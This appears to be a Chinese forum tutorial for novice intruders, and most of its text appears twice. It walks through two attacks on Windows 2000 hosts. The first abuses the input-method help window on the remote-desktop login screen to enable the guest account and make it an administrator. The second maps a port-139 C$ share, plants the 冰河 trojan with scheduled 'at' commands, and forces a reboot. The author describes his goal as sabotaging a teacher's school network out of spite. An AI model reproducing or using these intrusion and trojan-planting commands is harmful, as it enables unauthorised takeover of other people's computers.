小
小罗那耳朵
（一） 2000的输入法漏洞
最近很无聊！刚上课回来没事做~！记得网友说有个WIN2000搞不定！我想这个人实在苯死了，连个普通的系统都不行。算了，今天我刚好没事做，做个随水人情吧！
首先拿出我的利器SCAN，（设置和操作不用我说了吧！真的不懂就看说明吧。）在参考模块填上他给的IP xxx.xxx.xxx.xxx（随便在这里交代一下，要想得到IP可以用现在流行的无广告补丁的QQ吧，又快又方便。）接着按下开始吧~~~不一会儿就扫出了一大堆漏洞！呵呵！让我看看有没有超级漏洞。哈，这个用户也不太小心了吧，难道他不知道微软出了补丁吗？竟然连3389这个大漏洞给我发现了。万岁！快点拿出终端客户端进行连接吧！没有的朋友到这里下（http://ycrx.y365.com/index2.html）
连接后用CTRL+SHIFT快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条，在输入法状态条上按鼠标右键。选择“帮助” —— “输入法指南” —— “选项”。（如果发现“帮助”呈灰色，放弃，因为对方很可能发现并已经补上了这个漏洞。）按右键，选择“跳转到URL”，输入：c:\winnt\system32在该目录下找到“net.exe”，为“net.exe”创建一个快捷方式，右键点击该快捷方式，在“属性” —“目标”—c:\winnt\system32\net.exe 后面空一格，填入“user guest /active :yes”。 点击“确定”（目的是，利用“net.exe”激活被禁止使用的guest账户）运行该快捷方式。（此时你不会看到运行状态，但guest用户已被激活。）然后重复操作上面的，在 “属性” —— “目标”—— c:\winnt\system32\net.exe 后面空一格，填入localgroup administrators guest /add（这一步骤目的是，利用“net.exe”将guest变成系统管理员。）再次登录终端服务器，以“guest”身份进入，此时guest已是系统管理员，已具备一切可执行权及一切操作权限。现在，我们可以像操作本地主机一样，控制对方系统。（这就是利用2000的输入法漏洞入侵！）
（二） 139端口入侵
本来有想过把这篇文章整理的，后来看到那个多的小鸟还是在默默探索中，于心不忍呀，事先声明，这不是一篇适合高手看的文章，其中用到了很多工具（也是怕各小鸟看不明白复杂的DOS提示呀）废话少说了，看文章了
今天上电脑课被老师训了一顿，回到家越想越生气，虽然我没有吃亏，毕竟心里很不舒服，TMD，搞掉他的局域网，看他怎样上课！
好不容易才呆到晚上8点，行动时间到了，操，不对啊，我还不知道学校的IP，哎失败失败真失败：“老师能说出你们电脑的IP吗？什么，不懂？咳~你怎样做老师的啊！！（随便提一下在MS—DOS里输入ipconfig就知道）呵呵！！看到了xxx.xxx.xxx.xxx，对方的系统是2000，心中窃喜呀，先扫一扫 ‘在说，
139=NetBios-SSN 端口开放！！
1025=NetSpy.698 端口开放！！
5000=Blazer 5 端口开放！！
看来都是没有用的，姨~等等，那不是传说中的139吗？HOHO！事情好办多了，还以为要艰苦一番，没想到这么简单，再拿出NetBrute Scanner一扫，果然都出来了，CDEFE都有共享，先看C盘，试着建立个文件，成功，HOHO，不错不错，毕竟这样操作太复杂了一些，先传个马上去在说
net use H: \\xxx.xxx.xxx.xxx\c$
这个命令不用我说明了吧，先映射他的C盘 。
然后再传个木马
看看系统时间，还有程序运行时间。
net time \\xxx.xxx.xxx.xxx
at \\xxx.xxx.xxx.xxx 15:04 程序.exe
我推荐国产的冰河.好使好用，操作简单，方便管理，当然是经过捆绑的拉。记住放在启动那里，以便每次都运行（但碰到拨号上网的动态IP，就很难再找回他了）。重启对方的机子，用原创发的2K/2000远程重启工具吧。等一会程序运行了！拿出服务器连上就行拉。对于高手来说，完全可以用指令实现，
copy con h:\reboot.bat
iisreset /reboot
CTRL+Z
这个命令明白吗，就是在对方计算机下生成一个可以重起计算机的文件，前面我们已经将他的C盘映射到了我们的H盘
接着是老命令
net time \\xxx.xxx.xxx.xxx
得到对方的时间
at \\xxx.xxx.xxx.xxx 重起的时间 c:\reboot.bat
重起的时间等于对方的时间加几分钟
最后看一看任务加入没有
at \\xxx.xxx.xxx.xxx
看看任务加上没有
呵呵~！等成功后你喜欢做什么就做什么咯，记住我不提倡做违法的行为，给捉了就不好拉！
文章我虽然不用一天就写出来，其实我也是个菜鸟，对网络也是略知一二，第一次写教程，有不足之处，肯请赐教。相信会花时间看这篇文章的人，都是对入侵一知半解的。其实，我个人认为，微软的Windows 2K和NT是世界上应用范围很广，最容易学习的一种操作系统（OS），同时也是漏洞最多的OS，作为新手，我建议大家从2K和NT的入侵开始学起。我会陆续介绍有关入侵的手段及入侵后可以做的有利于自己的事。: ）
最近很无聊！刚上课回来没事做~！记得网友说有个WIN2000搞不定！我想这个人实在苯死了，连个普通的系统都不行。算了，今天我刚好没事做，做个随水人情吧！
首先拿出我的利器SCAN，（设置和操作不用我说了吧！真的不懂就看说明吧。）在参考模块填上他给的IP xxx.xxx.xxx.xxx（随便在这里交代一下，要想得到IP可以用现在流行的无广告补丁的QQ吧，又快又方便。）接着按下开始吧~~~不一会儿就扫出了一大堆漏洞！呵呵！让我看看有没有超级漏洞。哈，这个用户也不太小心了吧，难道他不知道微软出了补丁吗？竟然连3389这个大漏洞给我发现了。万岁！快点拿出终端客户端进行连接吧！没有的朋友到这里下（http://ycrx.y365.com/index2.html）
连接后用CTRL+SHIFT快速切换输入法，切换至全拼，这时在登录界面左下角将出现输入法状态条，在输入法状态条上按鼠标右键。选择“帮助” —— “输入法指南” —— “选项”。（如果发现“帮助”呈灰色，放弃，因为对方很可能发现并已经补上了这个漏洞。）按右键，选择“跳转到URL”，输入：c:\winnt\system32在该目录下找到“net.exe”，为“net.exe”创建一个快捷方式，右键点击该快捷方式，在“属性” —“目标”—c:\winnt\system32\net.exe 后面空一格，填入“user guest /active :yes”。 点击“确定”（目的是，利用“net.exe”激活被禁止使用的guest账户）运行该快捷方式。（此时你不会看到运行状态，但guest用户已被激活。）然后重复操作上面的，在 “属性” —— “目标”—— c:\winnt\system32\net.exe 后面空一格，填入localgroup administrators guest /add（这一步骤目的是，利用“net.exe”将guest变成系统管理员。）再次登录终端服务器，以“guest”身份进入，此时guest已是系统管理员，已具备一切可执行权及一切操作权限。现在，我们可以像操作本地主机一样，控制对方系统。（这就是利用2000的输入法漏洞入侵！）
（二） 139端口入侵
本来有想过把这篇文章整理的，后来看到那个多的小鸟还是在默默探索中，于心不忍呀，事先声明，这不是一篇适合高手看的文章，其中用到了很多工具（也是怕各小鸟看不明白复杂的DOS提示呀）废话少说了，看文章了
今天上电脑课被老师训了一顿，回到家越想越生气，虽然我没有吃亏，毕竟心里很不舒服，TMD，搞掉他的局域网，看他怎样上课！
好不容易才呆到晚上8点，行动时间到了，操，不对啊，我还不知道学校的IP，哎失败失败真失败：“老师能说出你们电脑的IP吗？什么，不懂？咳~你怎样做老师的啊！！（随便提一下在MS—DOS里输入ipconfig就知道）呵呵！！看到了xxx.xxx.xxx.xxx，对方的系统是2000，心中窃喜呀，先扫一扫 ‘在说，
139=NetBios-SSN 端口开放！！
1025=NetSpy.698 端口开放！！
5000=Blazer 5 端口开放！！
看来都是没有用的，姨~等等，那不是传说中的139吗？HOHO！事情好办多了，还以为要艰苦一番，没想到这么简单，再拿出NetBrute Scanner一扫，果然都出来了，CDEFE都有共享，先看C盘，试着建立个文件，成功，HOHO，不错不错，毕竟这样操作太复杂了一些，先传个马上去在说
net use H: \\xxx.xxx.xxx.xxx\c$
这个命令不用我说明了吧，先映射他的C盘 。
然后再传个木马
看看系统时间，还有程序运行时间。
net time \\xxx.xxx.xxx.xxx
at \\xxx.xxx.xxx.xxx 15:04 程序.exe
我推荐国产的冰河.好使好用，操作简单，方便管理，当然是经过捆绑的拉。记住放在启动那里，以便每次都运行（但碰到拨号上网的动态IP，就很难再找回他了）。重启对方的机子，用原创发的2K/2000远程重启工具吧。等一会程序运行了！拿出服务器连上就行拉。对于高手来说，完全可以用指令实现，
copy con h:\reboot.bat
iisreset /reboot
CTRL+Z
这个命令明白吗，就是在对方计算机下生成一个可以重起计算机的文件，前面我们已经将他的C盘映射到了我们的H盘
接着是老命令
net time \\xxx.xxx.xxx.xxx
得到对方的时间
at \\xxx.xxx.xxx.xxx 重起的时间 c:\reboot.bat
重起的时间等于对方的时间加几分钟
最后看一看任务加入没有
at \\xxx.xxx.xxx.xxx
看看任务加上没有
呵呵~！等成功后你喜欢做什么就做什么咯，记住我不提倡做违法的行为，给捉了就不好拉！
文章我虽然不用一天就写出来，其实我也是个菜鸟，对网络也是略知一二，第一次写教程，有不足之处，肯请赐教。相信会花时间看这篇文章的人，都是对入侵一知半解的。其实，我个人认为，微软的Windows 2K和NT是世界上应用范围很广，最容易学习的一种操作系统（OS），同时也是漏洞最多的OS，作为新手，我建议大家从2K和NT的入侵开始学起。我会陆续介绍有关入侵的手段及入侵后可以做的有利于自己的事。: ）
